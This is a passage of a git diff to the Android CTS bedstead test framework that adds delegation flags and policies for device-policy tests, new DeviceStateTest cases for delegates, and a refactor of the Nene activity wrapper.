DeviceState.UserType onUser() default CURRENT_USER;
/**
- * Whether this DPC should be returned by calls to {@link DeviceState#dpc()}.
+ * Whether this DPC should be returned by calls to {@link DeviceState#dpc()} or
+ * {@link DeviceState#policyManager()}}.
*
- * <p>Only one device policy controller per test should be marked as primary.
+ * <p>Only one policy manager per test should be marked as primary.
*/
boolean isPrimary() default false;
@@ -66,5 +67,5 @@
*
* <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
*/
- int weight() default MIDDLE;
+ int weight() default DO_PO_WEIGHT;
}
\ No newline at end of file
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnterprisePolicy.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnterprisePolicy.java
index f484370..9b3c16a 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnterprisePolicy.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnterprisePolicy.java
@@ -80,8 +80,6 @@
int APPLIES_TO_AFFILIATED_CHILD_PROFILES = 1 << 4;
/** A policy that applies to the parent of the profile of the package which applied the policy. */
int APPLIES_TO_PARENT = 1 << 5;
- /** A policy that applies to the parent of the profile of the package which applied the policy if that profile is a COPE profile. */
- int APPLIES_TO_COPE_PARENT = 1 << 6;
/** A policy that applies to affiliated or unaffiliate profiles of the package which applied the policy. */
int APPLIES_TO_CHILD_PROFILES =
@@ -97,12 +95,16 @@
// Applied by
/** A policy that can be applied by a device owner. */
- int APPLIED_BY_DEVICE_OWNER = 1 << 7;
+ int APPLIED_BY_DEVICE_OWNER = 1 << 6;
/** A policy that can be applied by a profile owner of an unaffiliated profile. */
- int APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE = 1 << 8;
+ int APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE = 1 << 7;
/** A policy that can be applied by a profile owner of an affiliated profile */
- int APPLIED_BY_AFFILIATED_PROFILE_OWNER_PROFILE = 1 << 9;
- /** A policy that can be applied by a profile owner of an affiliated or unaffiliated profile. */
+ int APPLIED_BY_AFFILIATED_PROFILE_OWNER_PROFILE = 1 << 8;
+ /** A policy that can be applied by a profile owner of a cope profile */
+ int APPLIED_BY_COPE_PROFILE_OWNER = 1 << 9;
+
+ /** A policy that can be applied by a profile owner of an affiliated or unaffiliated profile.
+ * This does not include cope profiles. */
int APPLIED_BY_PROFILE_OWNER_PROFILE =
APPLIED_BY_UNAFFILIATED_PROFILE_OWNER_PROFILE
| APPLIED_BY_AFFILIATED_PROFILE_OWNER_PROFILE;
@@ -164,6 +166,14 @@
* {@link APPLIES_IN_BACKGROUND}. */
int DOES_NOT_APPLY_IN_BACKGROUND = 1 << 18;
+
+ /**
+ * A policy which can be applied by a delegate.
+ *
+ * See {@link #delegatedScopes()} for the scopes which enable this.
+ */
+ int CAN_BE_DELEGATED = 1 << 19;
+
/** Flags indicating DPC states which can set the policy. */
int[] dpc() default {};
@@ -184,7 +194,7 @@
/**
* {@link DelegatedScope} indicating which delegated scopes can control the policy.
*
- * <p>Note that this currently does not generate any additional tests but may do in future.
+ * <p>This applies to {@link #dpc()} entries with the {@link #CAN_BE_DELEGATED} flag.
*/
- DelegatedScope[] delegatedScopes() default {};
+ String[] delegatedScopes() default {};
}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/ApplicationRestrictions.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/ApplicationRestrictions.java
index 5944757..9e30dad 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/ApplicationRestrictions.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/ApplicationRestrictions.java
@@ -16,10 +16,13 @@
package com.android.bedstead.harrier.policies;
+import static android.app.admin.DevicePolicyManager.DELEGATION_APP_RESTRICTIONS;
+
import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_PROFILE_OWNER;
import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_IN_BACKGROUND;
import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.CAN_BE_DELEGATED;
import android.app.admin.DevicePolicyManager;
import android.content.ComponentName;
@@ -34,8 +37,11 @@
* {@link DevicePolicyManager#setApplicationRestrictions(ComponentName, String, Bundle)} and
* {@link DevicePolicyManager#getApplicationRestrictions(ComponentName, String)}.
*/
-@EnterprisePolicy(dpc = {
- APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER | APPLIES_IN_BACKGROUND,
- APPLIED_BY_PROFILE_OWNER | APPLIES_TO_OWN_USER})
+@EnterprisePolicy(
+ dpc = {
+ APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER | APPLIES_IN_BACKGROUND | CAN_BE_DELEGATED,
+ APPLIED_BY_PROFILE_OWNER | APPLIES_TO_OWN_USER | CAN_BE_DELEGATED},
+ delegatedScopes = DELEGATION_APP_RESTRICTIONS
+ )
public final class ApplicationRestrictions {
}
\ No newline at end of file
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/ApplicationRestrictionsManagingPackage.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/ApplicationRestrictionsManagingPackage.java
new file mode 100644
index 0000000..379b071
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/ApplicationRestrictionsManagingPackage.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.policies;
+
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_PROFILE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_IN_BACKGROUND;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.os.Bundle;
+
+import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
+
+/**
+ * Policy for application restrictions.
+ *
+ * <p>This is used by the method
+ * {@link DevicePolicyManager#setApplicationRestrictionsManagingPackage(ComponentName, String, Bundle)}
+ */
+@EnterprisePolicy(
+ dpc = {
+ APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER | APPLIES_IN_BACKGROUND,
+ APPLIED_BY_PROFILE_OWNER | APPLIES_TO_OWN_USER})
+public final class ApplicationRestrictionsManagingPackage {
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/Delegation.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/Delegation.java
new file mode 100644
index 0000000..5bcde92
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/Delegation.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.policies;
+
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_PROFILE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+
+import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
+
+import java.util.List;
+
+/**
+ * Policy for general admin delegation that doesn't have additional scope-specific constraints on
+ * the admin type. Specific delegations with these constraints have their own policies.
+ *
+ * <p>This is used for methods such as {@link
+ * DevicePolicyManager#setDelegatedScopes(ComponentName, String, List)}.
+ */
+@EnterprisePolicy(dpc = {APPLIED_BY_DEVICE_OWNER | APPLIED_BY_PROFILE_OWNER | APPLIES_TO_OWN_USER})
+public final class Delegation {
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/DeprecatedPasswordAPIs.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/DeprecatedPasswordAPIs.java
new file mode 100644
index 0000000..5eb0053
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/DeprecatedPasswordAPIs.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.policies;
+
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_PROFILE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
+
+import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
+
+/**
+ * Policy for test cases testing password management APIs that are deprecated and not supported in
+ * some platforms.
+ */
+@EnterprisePolicy(dpc = APPLIED_BY_DEVICE_OWNER | APPLIED_BY_PROFILE_OWNER | APPLIES_TO_OWN_USER)
+public final class DeprecatedPasswordAPIs {
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/NetworkLoggingDelegation.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/NetworkLoggingDelegation.java
new file mode 100644
index 0000000..ae4dfcd
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/NetworkLoggingDelegation.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.policies;
+
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_PROFILE_OWNER_PROFILE;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+
+import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
+
+import java.util.List;
+
+/**
+ * Policy for network logging delegation.
+ *
+ * <p>This is used for methods such as {@link
+ * DevicePolicyManager#setDelegatedScopes(ComponentName, String, List)} with scope {@link
+ * DevicePolicyManager#DELEGATION_NETWORK_LOGGING}.
+ */
+@EnterprisePolicy(dpc = {
+ APPLIED_BY_DEVICE_OWNER | APPLIED_BY_PROFILE_OWNER_PROFILE | APPLIES_TO_OWN_USER})
+public final class NetworkLoggingDelegation {
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/SecurityLoggingDelegation.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/SecurityLoggingDelegation.java
new file mode 100644
index 0000000..b8f7617
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/SecurityLoggingDelegation.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.policies;
+
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+
+import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
+
+import java.util.List;
+
+/**
+ * Policy for security logging delegation.
+ *
+ * <p>This is used for methods such as {@link
+ * DevicePolicyManager#setDelegatedScopes(ComponentName, String, List)} with scope {@link
+ * DevicePolicyManager#DELEGATION_SECURITY_LOGGING}.
+ */
+// TODO(b/198774281): COPE profile POs can call this too, but we need to add the flag.
+@EnterprisePolicy(dpc = {APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER})
+public final class SecurityLoggingDelegation {
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/SetPermissionGrantState.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/SetPermissionGrantState.java
index 12bb005..bc3861a 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/SetPermissionGrantState.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/SetPermissionGrantState.java
@@ -21,12 +21,12 @@
import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_PROFILE_OWNER;
import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.CAN_BE_DELEGATED;
import android.app.admin.DevicePolicyManager;
import android.content.ComponentName;
import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
-import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.DelegatedScope;
/**
* Policies around setting the grant state of a basic permission.
@@ -36,8 +36,7 @@
* granting permissions not covered by other policies.
*/
@EnterprisePolicy(
- dpc = APPLIED_BY_DEVICE_OWNER | APPLIED_BY_PROFILE_OWNER | APPLIES_TO_OWN_USER,
- delegatedScopes = @DelegatedScope(
- scope = DELEGATION_PERMISSION_GRANT, appliesTo = APPLIES_TO_OWN_USER))
+ dpc = APPLIED_BY_DEVICE_OWNER | APPLIED_BY_PROFILE_OWNER | APPLIES_TO_OWN_USER | CAN_BE_DELEGATED,
+ delegatedScopes = DELEGATION_PERMISSION_GRANT)
public final class SetPermissionGrantState {
}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/SetSmsPermissionGranted.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/SetSmsPermissionGranted.java
index 67f5615..fac7dcd 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/SetSmsPermissionGranted.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/policies/SetSmsPermissionGranted.java
@@ -16,9 +16,12 @@
package com.android.bedstead.harrier.policies;
+import static android.app.admin.DevicePolicyManager.DELEGATION_PERMISSION_GRANT;
+
import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_DEVICE_OWNER;
import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIED_BY_PROFILE_OWNER_USER;
import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.APPLIES_TO_OWN_USER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy.CAN_BE_DELEGATED;
import android.app.admin.DevicePolicyManager;
import android.content.ComponentName;
@@ -34,6 +37,7 @@
*/
// TODO(198311372): Check if APPLIED_BY_PROFILE_OWNER_USER is expected
@EnterprisePolicy(
- dpc = APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER | APPLIED_BY_PROFILE_OWNER_USER)
+ dpc = APPLIED_BY_DEVICE_OWNER | APPLIES_TO_OWN_USER | APPLIED_BY_PROFILE_OWNER_USER | CAN_BE_DELEGATED,
+ delegatedScopes = DELEGATION_PERMISSION_GRANT)
public final class SetSmsPermissionGranted {
}
diff --git a/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTest.java b/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTest.java
index d4c8eb8..c0290fe 100644
--- a/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTest.java
+++ b/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTest.java
@@ -18,6 +18,8 @@
import static android.Manifest.permission.INTERACT_ACROSS_PROFILES;
import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
+import static android.app.admin.DevicePolicyManager.DELEGATION_APP_RESTRICTIONS;
+import static android.app.admin.DevicePolicyManager.DELEGATION_CERT_INSTALL;
import static android.content.pm.PackageManager.PERMISSION_DENIED;
import static android.content.pm.PackageManager.PERMISSION_GRANTED;
@@ -27,6 +29,8 @@
import static com.android.bedstead.harrier.OptionalBoolean.TRUE;
import static com.android.bedstead.harrier.annotations.RequireAospBuild.GMS_CORE_PACKAGE;
import static com.android.bedstead.harrier.annotations.RequireCnGmsBuild.CHINA_GOOGLE_SERVICES_FEATURE;
+import static com.android.bedstead.harrier.annotations.enterprise.EnsureHasDelegate.AdminType.DEVICE_OWNER;
+import static com.android.bedstead.harrier.annotations.enterprise.EnsureHasDelegate.AdminType.PRIMARY;
import static com.android.bedstead.nene.users.UserType.MANAGED_PROFILE_TYPE_NAME;
import static com.android.bedstead.nene.users.UserType.SECONDARY_USER_TYPE_NAME;
import static com.android.bedstead.nene.users.UserType.SYSTEM_USER_TYPE_NAME;
@@ -37,6 +41,8 @@
import android.app.ActivityManager;
import android.os.Build;
+import android.platform.test.annotations.AppModeFull;
+import android.os.Bundle;
import com.android.bedstead.harrier.annotations.EnsureDoesNotHavePermission;
import com.android.bedstead.harrier.annotations.EnsureHasNoSecondaryUser;
@@ -66,6 +72,7 @@
import com.android.bedstead.harrier.annotations.RequireSdkVersion;
import com.android.bedstead.harrier.annotations.RequireUserSupported;
import com.android.bedstead.harrier.annotations.TestTag;
+import com.android.bedstead.harrier.annotations.enterprise.EnsureHasDelegate;
import com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner;
import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoDeviceOwner;
import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoDpc;
@@ -81,6 +88,8 @@
import com.android.bedstead.nene.packages.Package;
import com.android.bedstead.nene.users.UserReference;
import com.android.bedstead.nene.utils.Tags;
+import com.android.bedstead.remotedpc.RemoteDelegate;
+import com.android.bedstead.remotedpc.RemoteDpc;
import org.junit.ClassRule;
import org.junit.Ignore;
@@ -282,6 +291,7 @@
@Test
@EnsureDoesNotHavePermission(TEST_PERMISSION_1)
+ @AppModeFull // withoutPermission does not work on instant apps
public void ensureDoesNotHavePermission_permissionIsDenied() {
assertThat(TestApis.context().instrumentedContext()
.checkSelfPermission(TEST_PERMISSION_1)).isEqualTo(PERMISSION_DENIED);
@@ -289,6 +299,7 @@
@Test
@EnsureDoesNotHavePermission({TEST_PERMISSION_1, TEST_PERMISSION_2})
+ @AppModeFull // withoutPermission does not work on instant apps
public void ensureDoesNotHavePermission_multiplePermissions_permissionsAreDenied() {
assertThat(TestApis.context().instrumentedContext()
.checkSelfPermission(TEST_PERMISSION_1)).isEqualTo(PERMISSION_DENIED);
@@ -301,6 +312,7 @@
@EnsureDoesNotHavePermission(TEST_PERMISSION_2)
@RequireSdkVersion(min = Build.VERSION_CODES.R,
reason = "Used permissions not available prior to R")
+ @AppModeFull // withoutPermission does not work on instant apps
public void ensureHasPermissionAndDoesNotHavePermission_permissionsAreCorrect() {
assertThat(TestApis.context().instrumentedContext()
.checkSelfPermission(TEST_PERMISSION_1)).isEqualTo(PERMISSION_GRANTED);
@@ -624,7 +636,7 @@
@IncludeRunOnBackgroundDeviceOwnerUser
public void includeRunOnBackgroundDeviceOwnerUserAnnotation_isRunningOnDeviceOwnerUser() {
assertThat(TestApis.users().instrumented())
- .isEqualTo(sDeviceState.dpc().devicePolicyController().user());
+ .isEqualTo(sDeviceState.dpc().user());
}
@Test
@@ -702,4 +714,51 @@
public void testTagAnnoation_testTagIsSet() {
assertThat(Tags.hasTag("TestTag")).isTrue();
}
+
+ @Test
+ @EnsureHasDeviceOwner
+ @EnsureHasDelegate(admin = DEVICE_OWNER, scopes = DELEGATION_CERT_INSTALL, isPrimary = true)
+ public void ensureHasPrimaryDelegateAnnotation_dpcReturnsDelegate() {
+ assertThat(sDeviceState.dpc()).isInstanceOf(RemoteDelegate.class);
+ }
+
+ @Test
+ @EnsureHasDeviceOwner
+ @EnsureHasDelegate(admin = DEVICE_OWNER, scopes = DELEGATION_CERT_INSTALL, isPrimary = false)
+ public void ensureHasNonPrimaryDelegateAnnotation_dpcReturnsDpc() {
+ assertThat(sDeviceState.dpc()).isInstanceOf(RemoteDpc.class);
+ }
+
+ @Test
+ @EnsureHasDeviceOwner
+ @EnsureHasDelegate(admin = DEVICE_OWNER, scopes = DELEGATION_CERT_INSTALL, isPrimary = true)
+ public void ensureHasDelegateAnnotation_dpcCanUseDelegatedFunctionality() {
+ assertThat(sDeviceState.dpc().devicePolicyManager().getEnrollmentSpecificId()).isNotNull();
+ }
+
+ @Test
+ @EnsureHasDeviceOwner
+ @EnsureHasDelegate(admin = DEVICE_OWNER,
+ scopes = {DELEGATION_CERT_INSTALL, DELEGATION_APP_RESTRICTIONS}, isPrimary = true)
+ public void ensureHasDelegateAnnotation_multipleScopes_dpcCanUseAllDelegatedFunctionality() {
+ assertThat(sDeviceState.dpc().devicePolicyManager().getEnrollmentSpecificId()).isNotNull();
+ sDeviceState.dpc().devicePolicyManager()
+ .setApplicationRestrictions(
+ sDeviceState.dpc().componentName(),
+ sDeviceState.dpc().packageName(), new Bundle());
+ }
+
+ @Test
+ @EnsureHasDeviceOwner(isPrimary = true)
+ @EnsureHasDelegate(admin = PRIMARY, scopes = {})
+ public void ensureHasDelegateAnnotation_primaryAdminWithoutReplace_dpcReturnsDpc() {
+ assertThat(sDeviceState.dpc()).isInstanceOf(RemoteDpc.class);
+ }
+
+ @Test
+ @EnsureHasDeviceOwner(isPrimary = true)
+ @EnsureHasDelegate(admin = PRIMARY, scopes = {}, isPrimary = true)
+ public void ensureHasDelegateAnnotation_primaryAdminAndReplace_dpcReturnsDelegate() {
+ assertThat(sDeviceState.dpc()).isInstanceOf(RemoteDelegate.class);
+ }
}
diff --git a/common/device-side/bedstead/nene/Android.bp b/common/device-side/bedstead/nene/Android.bp
index 4e249bf..21809bb 100644
--- a/common/device-side/bedstead/nene/Android.bp
+++ b/common/device-side/bedstead/nene/Android.bp
@@ -13,7 +13,8 @@
static_libs: [
"compatibility-device-util-axt",
"guava",
- "Queryable"
+ "Queryable",
+ "RemoteFrameworkClasses"
],
min_sdk_version: "27"
}
@@ -28,7 +29,8 @@
static_libs: [
"compatibility-device-util-axt",
"guava",
- "Queryable"
+ "Queryable",
+ "RemoteFrameworkClasses"
],
min_sdk_version: "27"
}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/Activities.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/Activities.java
index a651aca..821176d 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/Activities.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/Activities.java
@@ -40,15 +40,9 @@
private Activities() {
}
- /**
- * Wrap the given {@link NeneActivityDirect} to use Nene APIs.
- */
- public Activity<NeneActivityDirect> wrap(NeneActivity activity) {
- return new Activity<>(activity, activity);
- }
/**
- * Wrap the given {@link NeneActivityDirect} subclass to use Nene APIs.
+ * Wrap the given {@link NeneActivity} subclass to use Nene APIs.
*/
public <E extends NeneActivity> Activity<E> wrap(Class<E> clazz, E activity) {
return new Activity<>(activity, activity);
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/ActivityWrapper.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/ActivityWrapper.java
index 802366d..01fb496 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/ActivityWrapper.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/ActivityWrapper.java
@@ -17,57 +17,18 @@
package com.android.bedstead.nene.activities;
import android.app.Activity;
-import android.content.ComponentName;
-import android.content.Intent;
-import android.os.Bundle;
+import android.app.RemoteActivityImpl;
import android.os.UserHandle;
-class ActivityWrapper implements NeneActivity {
-
- private final Activity mActivity;
+class ActivityWrapper extends RemoteActivityImpl implements NeneActivity {
ActivityWrapper(Activity activity) {
- mActivity = activity;
- }
-
- @Override
- public ComponentName getComponentName() {
- return mActivity.getComponentName();
+ super(activity);
}
@Override
public UserHandle getUser() {
- // Assuming if we have an Activity it's on the current user
+ // Assuming if we have an Activity it's on the instrumented user
return android.os.Process.myUserHandle();
}
-
- @Override
- public void startLockTask() {
- mActivity.startLockTask();
- }
-
- @Override
- public void stopLockTask() {
- mActivity.stopLockTask();
- }
-
- @Override
- public void finish() {
- mActivity.finish();
- }
-
- @Override
- public boolean isFinishing() {
- return mActivity.isFinishing();
- }
-
- @Override
- public void startActivity(Intent intent) {
- mActivity.startActivity(intent);
- }
-
- @Override
- public void startActivity(Intent intent, Bundle options) {
- mActivity.startActivity(intent, options);
- }
}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/NeneActivity.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/NeneActivity.java
index f8bfeef..9a5a0ea 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/NeneActivity.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/NeneActivity.java
@@ -16,13 +16,14 @@
package com.android.bedstead.nene.activities;
+import android.app.RemoteActivity;
import android.os.UserHandle;
/**
- * Additional methods which are not direct wrappes of {@link Activity}.
+ * Additional methods which are not direct wrappers of {@link Activity}.
*/
-public interface NeneActivity extends NeneActivityDirect {
+public interface NeneActivity extends RemoteActivity {
- /** See {@link android.app.Activity#getUser()}. */
+ /** Get the user the Activity is running on. */
UserHandle getUser();
}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/NeneActivityDirect.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/NeneActivityDirect.java
deleted file mode 100644
index 6207779..0000000
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/activities/NeneActivityDirect.java
+++ /dev/null
@@ -1,51 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.bedstead.nene.activities;
-
-import android.app.Activity;
-import android.content.ComponentName;
-import android.content.Intent;
-import android.os.Bundle;
-import android.os.UserHandle;
-
-/**
- * Interface for use by classes which are able to be used in Nene activity test apis.
- *
- * <p>Methods on this interface should match exactly methods on {@link Activity}.
- */
-public interface NeneActivityDirect {
- /** See {@link Activity#getComponentName}. */
- ComponentName getComponentName();
-
- /** See {@link Activity#startLockTask}. */
- void startLockTask();
-
- /** See {@link Activity#stopLockTask}. */
- void stopLockTask();
-
